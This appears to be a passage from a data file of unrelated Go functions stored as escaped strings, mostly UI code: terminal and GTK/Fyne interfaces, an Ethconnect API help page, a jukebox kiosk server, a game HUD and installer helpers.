userCommand),\n\t\t\t))\n\t\t\tHistory.Append(tui.NewHBox(tui.NewLabel(\"\")))\n\n\t\t\tif strings.HasPrefix(userCommand, \"\\\\\") {\n\t\t\t\t// then this is command ..\n\t\t\t\tswitch userCommand {\n\t\t\t\tcase \"\\\\help\":\n\t\t\t\t\tHistory.Append(tui.NewLabel(libs.PrintHelp()))\n\t\t\t\tcase \"\\\\monitor\":\n\t\t\t\t\tHistory.Append(tui.NewLabel(\"Switching to MONITOR mode for device \" + DeviceName))\n\t\t\t\t\tChangeToMonitorMode()\n\t\t\t\tcase \"\\\\managed\":\n\t\t\t\t\tHistory.Append(tui.NewLabel(\"Switching to MANAGED mode for device \" + DeviceName))\n\t\t\t\t\tChangeToManagedMode()\n\t\t\t\tcase \"\\\\exit\":\n\t\t\t\t\tHistory.Append(tui.NewHBox(tui.NewLabel(\"quitting...\")))\n\t\t\t\t\ttime.Sleep(1000 * time.Millisecond)\n\t\t\t\t\t// os.Exit(0)\n\n\t\t\t\t}\n\t\t\t} else if strings.Contains(userCommand, \":\") {\n\t\t\t\t// then this is declaration\n\t\t\t\tcmdSplit := strings.Split(userCommand, \":\")\n\t\t\t\tif cmdSplit[1] == \"\" {\n\t\t\t\t\tHistory.Append(tui.NewLabel(\"that is not acceptable command\"))\n\t\t\t\t\tHistory.Append(tui.NewLabel(libs.PrintHelp()))\n\t\t\t\t} else {\n\t\t\t\t\tswitch cmdSplit[0] {\n\t\t\t\t\tcase \"device\":\n\t\t\t\t\t\tSetDeviceName(cmdSplit[1])\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tHistory.Append(tui.NewLabel(\"there is no such declaration or command\"))\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t} else {\n\t\t\t\tHistory.Append(tui.NewHBox(tui.NewLabel(userCommand + \" is not command or a declaration\")))\n\t\t\t}\n\t\t}\n\t\tInput.SetText(\"\")\n\t})\n\n\tif err := ui.Run(); err != nil {\n\t\tlog.Fatal(err)\n\t}\n}", "func Configure(filename string) (err error) {\n\n\tvar menu Menu\n\tvar entry Entry\n\tvar sd SD\n\n\tConfig.File = strings.TrimSuffix(filename, filepath.Ext(filename))\n\n\terr = Config.Open()\n\tif err != nil {\n\t\treturn\n\t}\n\n\tsd.Init()\n\n\tif len(Config.Account.Username) != 0 || len(Config.Account.Password) != 0 {\n\t\tsd.Login()\n\t\tsd.Status()\n\t}\n\n\tfor {\n\n\t\tmenu.Entry = make(map[int]Entry)\n\n\t\tmenu.Headline = fmt.Sprintf(\"%s [%s.yaml]\", getMsg(0000), Config.File)\n\t\tmenu.Select = getMsg(0001)\n\n\t\t// Exit\n\t\tentry.Key = 0\n\t\tentry.Value = getMsg(0010)\n\t\tmenu.Entry[0] = entry\n\n\t\t// Account\n\t\tentry.Key = 1\n\t\tentry.Value = getMsg(0011)\n\t\tmenu.Entry[1] = entry\n\t\tif len(Config.Account.Username) == 0 || len(Config.Account.Password) == 0 {\n\t\t\tentry.account()\n\t\t\terr = sd.Login()\n\t\t\tif err != nil {\n\t\t\t\tos.RemoveAll(Config.File + \".yaml\")\n\t\t\t\tos.Exit(0)\n\t\t\t}\n\t\t\tsd.Status()\n\n\t\t}\n\n\t\t// Add Lineup\n\t\tentry.Key = 2\n\t\tentry.Value = getMsg(0012)\n\t\tmenu.Entry[2] = entry\n\n\t\t// Remove Lineup\n\t\tentry.Key = 3\n\t\tentry.Value = getMsg(0013)\n\t\tmenu.Entry[3] = entry\n\n\t\t// Manage Channels\n\t\tentry.Key = 4\n\t\tentry.Value = getMsg(0014)\n\t\tmenu.Entry[4] = entry\n\n\t\t// Create XMLTV file\n\t\tentry.Key = 5\n\t\tentry.Value = fmt.Sprintf(\"%s [%s]\", getMsg(0016), Config.Files.XMLTV)\n\t\tmenu.Entry[5] = entry\n\n\t\tvar selection = menu.Show()\n\n\t\tentry = menu.Entry[selection]\n\n\t\tswitch selection {\n\n\t\tcase 0:\n\t\t\tConfig.Save()\n\t\t\tos.Exit(0)\n\n\t\tcase 1:\n\t\t\tentry.account()\n\t\t\tsd.Login()\n\t\t\tsd.Status()\n\n\t\tcase 2:\n\t\t\tentry.addLineup(&sd)\n\t\t\tsd.Status()\n\n\t\tcase 3:\n\t\t\tentry.removeLineup(&sd)\n\t\t\tsd.Status()\n\n\t\tcase 4:\n\t\t\tentry.manageChannels(&sd)\n\t\t\tsd.Status()\n\n\t\tcase 5:\n\t\t\tsd.Update(filename)\n\n\t\t}\n\n\t}\n\n}", "func mainStartGtk(winTitle string, width, height int, center bool) {\n\tobj = new(MainControlsObj)\n\tgtk.Init(nil)\n\tif newBuilder(mainGlade) == nil {\n\t\t// Init tempDir and Remove it on quit if requested.\n\t\tif doTempDir {\n\t\t\ttempDir = tempMake(Name)\n\t\t\tdefer os.RemoveAll(tempDir)\n\t\t}\n\t\t// Parse Gtk objects\n\t\tgladeObjParser()\n\t\t// Objects Signals initialisations\n\t\tsignalsPropHandler()\n\t\t/* Fill control with images */\n\t\tassignImages()\n\t\t// Set Window Properties\n\t\tif center {\n\t\t\tobj.MainWindow.SetPosition(gtk.WIN_POS_CENTER)\n\t\t}\n\t\tobj.MainWindow.SetTitle(winTitle)\n\t\tobj.MainWindow.SetDefaultSize(width, height)\n\t\tobj.MainWindow.Connect(\"delete-event\", windowDestroy)\n\t\t// Start main application ...\n\t\tmainApplication()\n\t\t//\tStart Gui loop\n\t\tobj.MainWindow.ShowAll()\n\t\tgtk.Main()\n\t} else {\n\t\tlog.Fatal(\"Builder initialisation error.\")\n\t}\n}", "func NewUIService(repoprov RepositoryProvider, repos []string, readonly bool, updateInterval time.Duration) (*UIService, error) {\n\tr := &UIService{\n\t\tRepositoryProvider: repoprov,\n\t\tRepos: repos,\n\t\tReadonly: readonly,\n\t}\n\n\terr := r.updateJobSpecs()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tgo func() {\n\t\tt := time.NewTicker(updateInterval)\n\t\tfor range t.C {\n\t\t\terr := r.updateJobSpecs()\n\t\t\tif err != nil {\n\t\t\t\tlog.WithError(err).Error(\"cannot update job specs\")\n\t\t\t}\n\t\t}\n\t}()\n\n\treturn r, nil\n}", "func (g *smartContractGW) writeHTMLForUI(prefix, id, from string, isGateway, factoryOnly bool, res http.ResponseWriter) {\n\tfromQuery := \"\"\n\tif from != \"\" {\n\t\tfromQuery = \"&from=\" + url.QueryEscape(from)\n\t}\n\n\tfactoryMessage := \"\"\n\tif isGateway {\n\t\tfactoryMessage =\n\t\t\t` <li><code>POST</code> against <code>/</code> (the constructor) will deploy a new instance of the smart contract\n <ul>\n <li>A dedicated API will be generated for each instance deployed via this API, scoped to that contract Address</li>\n </ul></li>`\n\t}\n\tfactoryOnlyQuery := \"\"\n\thelpHeader := `\n <p>Welcome to the built-in API exerciser of Ethconnect</p>\n `\n\thasMethodsMessage := \"\"\n\tif factoryOnly {\n\t\tfactoryOnlyQuery = \"&factory\"\n\t\thelpHeader = `<p>Factory API to deploy contract instances</p>\n <p>Use the <code>[POST]</code> panel below to set the input parameters for your constructor, and tick <code>[TRY]</code> to deploy a contract instance.</p>\n <p>If you want to configure a friendly API path name to invoke your contract, then set the <code>fly-register</code> parameter.</p>`\n\t} else {\n\t\thasMethodsMessage = `<li><code>GET</code> actions <b>never</b> write to the chain. Even for actions that update state - so you can simulate execution</li>\n <li><code>POST</code> actions against <code>/subscribe</code> paths marked <code>[event]</code> add subscriptions to event streams\n <ul>\n <li>Pre-configure your event streams with actions via the <code>/eventstreams</code> API route on Ethconnect</b></li>\n <li>Once you add a subscription, all matching events will be reliably read, batched and delivered over your event stream</li>\n </ul></li>\n <li>Data type conversion is automatic for all actions an events.\n <ul>\n <li>Numbers are encoded as strings, to avoid loss of precision.</li>\n <li>Byte arrays, including Address fields, are encoded in Hex with an <code>0x</code> prefix</li>\n <li>See the 'Model' of each method and event input/output below for details</li>\n </ul>\n </li>`\n\t}\n\thtml := `<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN\" \"http://www.w3.org/TR/html4/strict.dtd\">\n<html>\n<head>\n <meta charset=\"utf-8\"> <!-- Important: rapi-doc uses utf8 characters -->\n <script src=\"https://unpkg.com/[email protected]/dist/rapidoc-min.js\"></script>\n</head>\n<body>\n <rapi-doc \n spec-url=\"` + g.conf.BaseURL + \"/\" + prefix + \"s/\" + id + \"?swagger\" + factoryOnlyQuery + fromQuery + `\"\n allow-authentication=\"false\"\n allow-spec-url-load=\"false\"\n allow-spec-file-load=\"false\"\n heading-text=\"Ethconnect REST Gateway\"\n header-color=\"#3842C1\"\n theme=\"light\"\n\t\tprimary-color=\"#3842C1\"\n >\n<!-- TODO new image and docs link\n <img \n slot=\"logo\" \n src=\"todo\"\n alt=\"Firefly\"\n onclick=\"window.open('https://todo')\"\n style=\"cursor: pointer; padding-bottom: 2px; margin-left: 25px; margin-right: 10px;\"\n />\n-->\n <div style=\"border: #f2f2f2 1px solid; padding: 25px; margin-top: 25px;\n display: flex; flex-direction: row; flex-wrap: wrap;\">\n <div style=\"flex: 1;\">\n ` + helpHeader + `\n <p><a href=\"#quickstart\" style=\"text-decoration: none\" onclick=\"document.getElementById('firefly-quickstart-header').style.display = 'block'; this.style.display = 'none'; return false;\">Show additional instructions</a></p>\n <div id=\"firefly-quickstart-header\" style=\"display: none;\">\n <ul>\n <li>Authorization with Firefly Application Credentials has already been performed when loading this page, and is passed to API calls by your browser.</code>\n <li><code>POST</code> actions against Solidity methods will <b>write to the chain</b> unless <code>fly-call</code> is set, or the method is marked <code>[read-only]</code>\n <ul>\n <li>When <code>fly-sync</code> is set, the response will not be returned until the transaction is mined <b>taking a few seconds</b></li>\n <li>When <code>fly-sync</code> is unset, the transaction is reliably streamed to the node over Kafka</li>\n <li>Use the <a href=\"/replies\" target=\"_blank\" style=\"text-decoration: none\">/replies</a> API route on Ethconnect to view receipts for streamed transactions</li>\n <li>Gas limit estimation is performed automatically, unless <code>fly-gas</code> is set.</li>\n <li>During the gas estimation we will return any revert messages if there is a execution failure.</li>\n </ul></li>\n ` + factoryMessage + `\n ` + hasMethodsMessage + `\n <li>Descriptions are taken from the devdoc included in the Solidity code comments</li>\n </ul> \n </div>\n </div>\n <div style=\"flex-shrink: 1; margin-left: auto; text-align: center;\"\">\n <button type=\"button\" style=\"color: white; background-color: #3942c1;\n font-size: 1rem; border-radius: 4px; cursor: pointer;\n text-transform: uppercase; height: 50px; padding: 0 20px;\n text-align: center; box-sizing: border-box; margin-bottom: 10px;\"\n onclick=\"window.open('` + g.conf.BaseURL + \"/\" + prefix + \"s/\" + id + \"?swagger&download\" + fromQuery + `')\">\n Download API\n </button><br/>\n<!-- TODO new docs link -->\n </div>\n </div>\n </rapi-doc>\n</body> \n</html>\n`\n\tres.Header().Set(\"Content-Type\", \"text/html; charset=utf-8\")\n\tres.WriteHeader(200)\n\tres.Write([]byte(html))\n}", "func setup() (app.Config, func()) {\n\tboardName := flag.String(\"board\", \"\", \"board name\")\n\trefresh := flag.Duration(\"refresh\", defaultRefreshInterval, fmt.Sprintf(\"refresh interval (min=%v)\", minRefreshInterval))\n\tlogFlag := flag.Bool(\"log\", false, \"Log to file\")\n\tv := flag.Bool(\"vv\", false, \"Increase verbosity level\")\n\tflag.Parse()\n\n\tcleanup := func() {}\n\tif *logFlag {\n\t\tf, err := os.OpenFile(\"trello-tui.log\", os.O_RDWR|os.O_CREATE|os.O_APPEND, 0666)\n\t\tif err != nil {\n\t\t\tlog.Fatal().Err(err).Msg(\"Unexpected error while opening file for logging. Stopping application\")\n\t\t}\n\t\t_, _ = f.Write([]byte(\"\\n\"))\n\t\tcleanup = func() { f.Close() }\n\t\tlog.Logger = log.Output(zerolog.ConsoleWriter{Out: f})\n\t\tif !*v {\n\t\t\tzerolog.SetGlobalLevel(zerolog.InfoLevel)\n\t\t} else {\n\t\t\tzerolog.SetGlobalLevel(zerolog.DebugLevel)\n\t\t}\n\t} else {\n\t\tlog.Logger = log.Output(ioutil.Discard)\n\t\tzerolog.SetGlobalLevel(zerolog.Disabled)\n\t}\n\n\tif *refresh < minRefreshInterval {\n\t\tlog.Warn().Msg(\"Minimum value for refresh interval is 10 s\")\n\t\t*refresh = minRefreshInterval\n\t}\n\n\treturn app.Config{\n\t\tState: state.Config{\n\t\t\tTrello: trello.Config{\n\t\t\t\tUser: os.Getenv(TrelloUser),\n\t\t\t\tKey: os.Getenv(TrelloKey),\n\t\t\t\tToken: os.Getenv(TrelloToken),\n\t\t\t\tTimeout: time.Second * 10,\n\t\t\t},\n\t\t\tSelectedBoard: *boardName,\n\t\t\tBoardRefreshInterval: *refresh,\n\t\t},\n\n\t\tGui: gui.Config{\n\t\t\tDev: *v,\n\t\t},\n\t}, cleanup\n}", "func TestUi(t *testing.T) Ui {\n\tvar buf bytes.Buffer\n\treturn &BasicUi{\n\t\tReader: &buf,\n\t\tWriter: ioutil.Discard,\n\t\tErrorWriter: ioutil.Discard,\n\t\tPB: &NoopProgressTracker{},\n\t}\n}", "func (s *HTTPServer) IsUIEnabled() bool {\n\treturn s.agent.config.UIDir != \"\" || s.agent.config.EnableUI\n}", "func injectUI() {\n\tdoc := js.Global().Get(\"document\")\n\tdiv := doc.Call(\"getElementById\", \"content\")\n\tb := bytes.Buffer{}\n\t_ = Render(ui, &b, 0)\n\tdiv.Set(\"innerHTML\", b.String())\n}", "func ScreenUninstall(window fyne.Window) fyne.CanvasObject {\n\tvar namespace string\n\tvar deploymentName string\n\tvar installTypeOption string\n\tvar dryRunOption string\n\tvar secretsPasswords string\n\tnamespaceSelectEntry = uielements.CreateNamespaceSelectEntry(namespaceErrorLabel)\n\n\t// Deployment name\n\tvar deploymentNameEntry = uielements.CreateDeploymentNameEntry()\n\n\t// Dry-run or execute\n\tvar dryRunRadio = uielements.CreateDryRunRadio()\n\n\tvar form = &widget.Form{\n\t\tItems: []*widget.FormItem{\n\t\t\t{Text: \"Namespace\", Widget: namespaceSelectEntry},\n\t\t\t{Text: \"\", Widget: namespaceErrorLabel},\n\t\t\t{Text: \"Deployment Name\", Widget: deploymentNameEntry},\n\t\t\t{Text: \"Execute or dry run\", Widget: dryRunRadio},\n\t\t},\n\t\tOnSubmit: func() {\n\t\t\t// get variables\n\t\t\tnamespace = namespaceSelectEntry.Text\n\t\t\tdeploymentName = deploymentNameEntry.Text\n\t\t\tdryRunOption = dryRunRadio.Selected\n\t\t\tif dryRunOption == constants.InstallDryRunActive {\n\t\t\t\tconfiguration.GetConfiguration().SetDryRun(true)\n\t\t\t} else {\n\t\t\t\tconfiguration.GetConfiguration().SetDryRun(false)\n\t\t\t}\n\t\t\tif !validator.ValidateNamespaceAvailableInConfig(namespace) {\n\t\t\t\tnamespaceErrorLabel.SetText(\"Error: namespace is unknown!\")\n\t\t\t\tnamespaceErrorLabel.Show()\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\t// map state\n\t\t\tvar projectConfig = install.NewInstallProjectConfig()\n\t\t\tvar err = projectConfig.LoadProjectConfigIfExists(namespace)\n\t\t\tif err != nil {\n\t\t\t\tdialog.ShowError(err, window)\n\t\t\t}\n\n\t\t\tprojectConfig.Project.Base.DeploymentName = deploymentName\n\t\t\tprojectConfig.HelmCommand = installTypeOption\n\t\t\tprojectConfig.SecretsPassword = &secretsPasswords\n\n\t\t\t// Directories\n\t\t\terr = projectConfig.CalculateDirectoriesForInstall()\n\t\t\tif err != nil {\n\t\t\t\tdialog.ShowError(err, window)\n\t\t\t}\n\n\t\t\t_ = ExecuteUninstallWorkflow(window, projectConfig)\n\t\t\t// show output\n\t\t\tuielements.ShowLogOutput(window)\n\t\t},\n\t}\n\n\treturn container.NewVBox(\n\t\twidget.NewLabel(\"\"),\n\t\tform,\n\t)\n}", "func configureAliyunCLI() {\n\tfmt.Println(\"Configuring aliyun cli...\")\n\toperate(\"aliyun\", \"\")\n}", "func NewUserInterface() *UserInterface {\n\tui := &UserInterface{\n\t\tscreenMessageChannel: make(chan string),\n\t\twsReadTimeout: 10 * time.Second,\n\t\twsWriteTimeout: 5 * time.Second,\n\t\twsPingPeriod: 3 * time.Second,\n\t}\n\n\t// Address to listen on.\n\ta := `127.0.0.1:10000`\n\n\t// Router.\n\tmux := http.NewServeMux()\n\tmux.Handle(`/css/`, http.StripPrefix(`/css/`, http.FileServer(http.Dir(`css`))))\n\tmux.Handle(`/js/`, http.StripPrefix(`/js/`, http.FileServer(http.Dir(`js`))))\n\tmux.Handle(`/img/`, http.StripPrefix(`/img/`, http.FileServer(http.Dir(`img`))))\n\tmux.Handle(`/art/`, http.StripPrefix(`/art/`, http.FileServer(http.Dir(`art`))))\n\tmux.HandleFunc(`/app`, func(w http.ResponseWriter, r *http.Request) {\n\t\tr.Header.Add(`Cache-Control`, `private, no-cache, no-store, must-revalidate`)\n\t\tlogger.queue <- fmt.Sprintf(`jukebox screen request to serve %s`, `./templates/app_`+cfg.Skin+`.html`)\n\t\thttp.ServeFile(w, r, `./templates/app_`+cfg.Skin+`.html`)\n\t})\n\tmux.HandleFunc(`/data`, ui.screen)\n\n\t// Jukebox screen HTTP server goroutine.\n\tgo func() {\n\t\tlogger.queue <- fmt.Sprintf(\"Starting jukebox screen HTTP server on %s ...\", a)\n\t\tserver := &http.Server{\n\t\t\tAddr: a,\n\t\t\tHandler: mux,\n\t\t\tReadTimeout: 5 * time.Second,\n\t\t\tWriteTimeout: 5 * time.Second,\n\t\t\tIdleTimeout: 5 * time.Second,\n\t\t}\n\t\tgo func() {\n\t\t\tfor {\n\t\t\t\tif _, err := net.DialTimeout(`tcp`, a, time.Duration(1*time.Second)); err == nil {\n\t\t\t\t\tif err := ioutil.WriteFile(\"./jukebox.env\", []byte(`export JUKEBOX_KIOSK=`+a), 0644); err != nil {\n\t\t\t\t\t\tlogger.queue <- fmt.Sprint(err)\n\t\t\t\t\t} else {\n\t\t\t\t\t\tlogger.queue <- fmt.Sprintf(\"jukebox screen HTTP server on %s started\", a)\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tlogger.queue <- `waiting jukebox screen to start...`\n\t\t\t\ttime.Sleep(1 * time.Second)\n\t\t\t}\n\t\t}()\n\t\tlogger.queue <- fmt.Sprint(server.ListenAndServe())\n\t}()\n\n\treturn ui\n}", "func GetMainUI(engine *Engine, groundLevel int, ScreenX, ScreenY int32) *UI {\n\t//height := (ScreenY / 5)\n\theight := 150\n\n\tui := &UI{\n\t\tEngine: engine,\n\t\tGroundLevel: int32(groundLevel),\n\t\tXPos: 0,\n\t\tYPos: float32(ScreenY) - float32(height),\n\t\tWidth: float32(ScreenX),\n\t\tHeight: float32(height),\n\t\tScreenX: ScreenX,\n\t\tScreenY: ScreenY,\n\t}\n\n\tui.Buttons = make(map[string]*Button)\n\tui.ButtonValues = make(map[string]bool)\n\n\tui.Buttons[\"house\"] = &Button{\"$1 - house\", 10, float32(ScreenY - 130), 80, 40}\n\tui.Buttons[\"slum\"] = &Button{\"$10 - slum\", 10, float32(ScreenY - 80), 80, 40}\n\tui.Buttons[\"apartment\"] = &Button{\"$100 - apt\", 100, float32(ScreenY - 130), 80, 40}\n\tui.Buttons[\"church\"] = &Button{\"$300 - church\", 100, float32(ScreenY - 80), 80, 40}\n\n\tpadding := rl.MeasureText(\"Population: 100000 / 100000\", 18)\n\tyOffset := (ui.ScreenY / 12)\n\n\tui.DrawFuncs = append(ui.DrawFuncs, func() {\n\t\trl.DrawText(fmt.Sprintf(\"Population: %v / %v\", ui.Engine.Population, ui.Engine.PopulationMax), ui.ScreenX-(padding), ui.ScreenY-yOffset, 18, rl.RayWhite)\n\t})\n\tui.DrawFuncs = append(ui.DrawFuncs, func() {\n\t\trl.DrawText(fmt.Sprintf(\"Dosh: $%.2f\", ui.Engine.Dosh), ui.ScreenX-(padding), ui.ScreenY-(yOffset+18), 18, rl.RayWhite)\n\t})\n\treturn ui\n}", "func (view *DetailsView) Setup(v *gocui.View, header *gocui.View) error {\n\n\t// set view options\n\tview.view = v\n\tview.view.Editable = false\n\tview.view.Wrap = true\n\tview.view.Highlight = false\n\tview.view.Frame = false\n\n\tview.header = header\n\tview.header.Editable = false\n\tview.header.Wrap = false\n\tview.header.Frame = false\n\n\t// set keybindings\n\tif err := view.gui.SetKeybinding(view.Name, gocui.KeyArrowDown, gocui.ModNone, func(*gocui.Gui, *gocui.View) error { return view.CursorDown() }); err != nil {\n\t\treturn err\n\t}\n\tif err := view.gui.SetKeybinding(view.Name, gocui.KeyArrowUp, gocui.ModNone, func(*gocui.Gui, *gocui.View) error { return view.CursorUp() }); err != nil {\n\t\treturn err\n\t}\n\n\treturn view.Render()\n}", "func main() {\n\tapp := app.New()\n\tapp.SetIcon(resourceIconPng)\n\n\tc := newCalculator()\n\tc.loadUI(app)\n\tapp.Run()\n}", "func (i *Installation) InstallWebUIBelow4x() {\n\tInfof(\"Running the setup for installing GPCC WEB UI for command center version: %s\", cmdOptions.CCVersion)\n\ti.GPCC.InstancePort = i.validatePort(\"GPCC_PORT\", defaultGpccPort)\n\ti.GPCC.WebSocketPort = i.validatePort(\"WEBSOCKET_PORT\", defaultWebSocket) // Safe Guard to prevent 4.x and below clash\n\ti.GPCC.InstanceName = commandCenterInstanceName()\n\tvar scriptOption []string\n\n\t// CC Option for different version of cc installer\n\t// Not going to refactor this piece of code, since this is legacy and testing all the version option is a pain\n\t// so we will leave this as it is\n\tif strings.HasPrefix(cmdOptions.CCVersion, \"1\") { // CC Version 1.x\n\t\tscriptOption = []string{i.GPCC.InstanceName, \"n\", i.GPCC.InstanceName, i.GPInitSystem.MasterPort, i.GPCC.InstancePort, \"n\", \"n\", \"n\", \"n\", \"EOF\"}\n\t} else if strings.HasPrefix(cmdOptions.CCVersion, \"2.5\") || strings.HasPrefix(cmdOptions.CCVersion, \"2.4\") { // Option of CC 2.5 & after\n\t\tscriptOption = []string{i.GPCC.InstanceName, \"n\", i.GPCC.InstanceName, i.GPInitSystem.MasterPort, i.GPCC.InstancePort, strconv.Itoa(strToInt(i.GPCC.InstancePort) + 1), \"n\", \"n\", \"n\", \"n\", \"EOF\"}\n\t} else if strings.HasPrefix(cmdOptions.CCVersion, \"2.1\") || strings.HasPrefix(cmdOptions.CCVersion, \"2.0\") { // Option of CC 2.0 & after\n\t\tscriptOption = []string{i.GPCC.InstanceName, \"n\", i.GPCC.InstanceName, i.GPInitSystem.MasterPort, \"n\", i.GPCC.InstancePort, \"n\", \"n\", \"n\", \"n\", \"EOF\"}\n\t} else if strings.HasPrefix(cmdOptions.CCVersion, \"2\") { // Option for other version of cc 2.x\n\t\tscriptOption = []string{i.GPCC.InstanceName, \"n\", i.GPCC.InstanceName, i.GPInitSystem.MasterPort, \"n\", i.GPCC.InstancePort, strconv.Itoa(strToInt(i.GPCC.InstancePort) + 1), \"n\", \"n\", \"n\", \"n\", \"EOF\"}\n\t} else if strings.HasPrefix(i.GPCC.InstanceName, \"3.0\") { // Option for CC version 3.0\n\t\tscriptOption = []string{i.GPCC.InstanceName, i.GPCC.InstanceName, \"n\", i.GPInitSystem.MasterPort, i.GPCC.InstancePort, \"n\", \"n\", \"EOF\"}\n\t} else { // All the newer version option unless changed.\n\t\tscriptOption = []string{i.GPCC.InstanceName, i.GPCC.InstanceName, \"n\", i.GPInitSystem.MasterPort, \"n\", i.GPCC.InstancePort, \"n\", \"n\", \"EOF\"}\n\t}\n\ti.installGPCCUI(scriptOption)\n}", "func InitNoUI(uiView View) {\n\tfmt.Println(\"Monitoring the URLS...\")\n}", "func (s *Slacker) populateMessagesUI() error {\n\ts.messagesVPanel.ClearWidgets()\n\n\t// messages should be...... labels?\n\tfor i, msg := range s.messages {\n\t\tl := widgets.NewLabel(fmt.Sprintf(\"label-%d\", i), msg.Text, 400, 40, &color.RGBA{0, 0, 0, 0xff}, nil)\n\t\ts.messagesVPanel.AddWidget(l)\n\t}\n\treturn nil\n}", "func setupMartini() *martini.ClassicMartini {\n\tm := martini.Classic()\n\tm.Use(render.Renderer())\n\n\t//All of the routes require the auth handler\n\tm.Group(\"/user\", func(router martini.Router) {\n\t\trouter.Get(\"/\", getAllUsersHandler)\n\t\trouter.Get(\"/(?P<id>[0-9]+)\", getUserHandler)\n\t\trouter.Post(\"/\", addUserHandler)\n\t\trouter.Put(\"/(?P<id>[0-9]+)\", updateUserHandler)\n\t\trouter.Delete(\"/(?P<id>[0-9]+)\", deleteUserHandler)\n\t}, authHandler)\n\n\treturn m\n}", "func New(db *storage.BoltDB, client jamsonic.Provider, logger *jamsonic.Logger) *TUI {\n\ttui := &TUI{\n\t\tapp: tview.NewApplication(),\n\t\tdb: db,\n\t\tpages: tview.NewPages(),\n\t\tlogger: logger,\n\t}\n\n\t// Header\n\theader := tview.NewTextView().SetRegions(true).SetWrap(false).SetDynamicColors(true)\n\tbanner := fmt.Sprintf(\"[ Jamsonic %s ]\", jamsonic.Version)\n\theader.SetBorder(true).SetTitle(banner)\n\theader.Highlight(\"0\")\n\n\ttui.header = header\n\n\tpageLists := []string{\"Library\", \"Settings\", \"Log\"}\n\tfor i, page := range pageLists {\n\t\tfmt.Fprintf(header, `%d [\"%d\"][white]%s[white][\"\"] `, i+1, i, page)\n\t}\n\n\t// Footer\n\ttui.footer = tview.NewTextView().SetRegions(true).SetWrap(false).SetDynamicColors(true)\n\ttui.footer.SetBorder(true)\n\ttui.drawFooter()\n\n\t// Layout\n\ttui.window = tview.NewFlex().SetDirection(tview.FlexRow).\n\t\tAddItem(tui.header, 3, 1, false).\n\t\tAddItem(tui.pages, 0, 1, true).\n\t\tAddItem(tui.footer, 3, 1, false)\n\n\t// Add pages\n\tlogPage := tui.createLogPage()\n\ttui.pages.AddPage(\"0\", tui.createLibraryPage(), true, true)\n\ttui.pages.AddPage(\"1\", tui.createSettingsPage(), true, false)\n\ttui.pages.AddPage(\"2\", logPage, true, false)\n\n\t// Set logger\n\tlogger.SetOutput(logPage)\n\tlogger.DebugLog(\"Switched to log page for logging.\")\n\n\t// Register global key event handler.\n\ttui.app.SetInputCapture(func(event *tcell.EventKey) *tcell.EventKey {\n\t\treturn tui.globalControl(event)\n\t})\n\n\t/// To be moved\n\thandlerLogger := logger.SubLogger(\"[Stream handler]\")\n\tstreamHandler := native.New(handlerLogger)\n\tplayerLogger := logger.SubLogger(\"[Player]\")\n\tlogger.DebugLog(\"Starting the player.\")\n\ttui.player = jamsonic.NewPlayer(playerLogger, client, streamHandler, tui.playerCallback, 500)\n\tgo func() {\n\t\terr := tui.player.Error\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase e := <-err:\n\t\t\t\tplayerLogger.ErrorLog(\"Player error: \" + e.Error())\n\t\t\t}\n\t\t}\n\t}()\n\ttui.provider = client\n\n\t// Hack to redraw the tracks list after the app has started.\n\t// Otherwise the line is not generated with right width.\n\tgo func() {\n\t\ttime.Sleep(50 * time.Millisecond)\n\t\tcurr := tui.artistView.GetCurrentItem()\n\t\ttui.populateTracks(tui.artists[curr])\n\t\ttui.app.Draw()\n\t}()\n\t// End hack.\n\n\treturn tui\n}", "func Main(ctx context.Context, cancelFunc func(), title string, showMainWindow bool) error {\n\tlog.WithFields(log.Fields{\"title\": title, \"showMainWindow\": showMainWindow}).Info(\"Initializing GUI.\")\n\t// Note: ui.Main() calls any functions queued with ui.QueueMain() before the one we provide via parameter.\n\treturn ui.Main(func() {\n\t\twindowTitle = title\n\t\twindow = ui.NewWindow(windowTitle, 600, 50, false)\n\t\tapplyIconToWindow(window.Handle())\n\t\tapplyWindowStyle(window.Handle())\n\n\t\twindow.OnClosing(func(*ui.Window) bool {\n\t\t\tlog.Info(\"User tries to close the window.\")\n\t\t\tcancelFunc()\n\t\t\treturn false\n\t\t})\n\n\t\tpanelDownloadStatus = makeContent()\n\t\twindow.SetChild(panelDownloadStatus)\n\t\twindow.SetMargined(true)\n\n\t\tui.OnShouldQuit(func() bool {\n\t\t\tlog.Info(\"OnShouldQuit().\")\n\t\t\tcancelFunc()\n\t\t\treturn false\n\t\t})\n\n\t\tif showMainWindow {\n\t\t\tcenterWindow(window.Handle())\n\t\t\twindow.Show()\n\t\t\tcenterWindow(window.Handle())\n\t\t}\n\n\t\tgo updateProgressPeriodically(ctx)\n\n\t\tguiInitWaitGroup.Done()\n\t})\n}", "func Update(jaeger *v1alpha1.Jaeger, commonSpec *v1alpha1.JaegerCommonSpec, options *[]string) {\n\t// Check for empty map\n\tif jaeger.Spec.UI.Options.IsEmpty() {\n\t\treturn\n\t}\n\n\tvolume := v1.Volume{\n\t\tName: fmt.Sprintf(\"%s-ui-configuration-volume\", jaeger.Name),\n\t\tVolumeSource: v1.VolumeSource{\n\t\t\tConfigMap: &v1.ConfigMapVolumeSource{\n\t\t\t\tLocalObjectReference: v1.LocalObjectReference{\n\t\t\t\t\tName: fmt.Sprintf(\"%s-ui-configuration\", jaeger.Name),\n\t\t\t\t},\n\t\t\t\tItems: []v1.KeyToPath{\n\t\t\t\t\tv1.KeyToPath{\n\t\t\t\t\t\tKey: \"ui\",\n\t\t\t\t\t\tPath: \"ui.json\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\tvolumeMount := v1.VolumeMount{\n\t\tName: fmt.Sprintf(\"%s-ui-configuration-volume\", jaeger.Name),\n\t\tMountPath: \"/etc/config\",\n\t\tReadOnly: true,\n\t}\n\tcommonSpec.Volumes = append(commonSpec.Volumes, volume)\n\tcommonSpec.VolumeMounts = append(commonSpec.VolumeMounts, volumeMount)\n\t*options = append(*options, \"--query.ui-config=/etc/config/ui.json\")\n}", "func (t *TrayIcon) setConfFromWidgets() {\n\trestartRequired := false\n\tc := t.Conf\n\tw := t.SettingsWidgets\n\tc.ServerURL = 